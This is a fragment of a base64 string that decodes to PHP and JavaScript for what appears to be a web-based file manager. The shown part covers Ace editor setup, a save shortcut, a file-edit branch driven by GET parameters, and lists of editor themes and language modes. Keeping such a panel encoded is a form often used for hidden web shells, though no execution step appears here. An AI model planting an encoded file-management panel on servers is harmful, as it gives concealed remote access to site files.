jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCI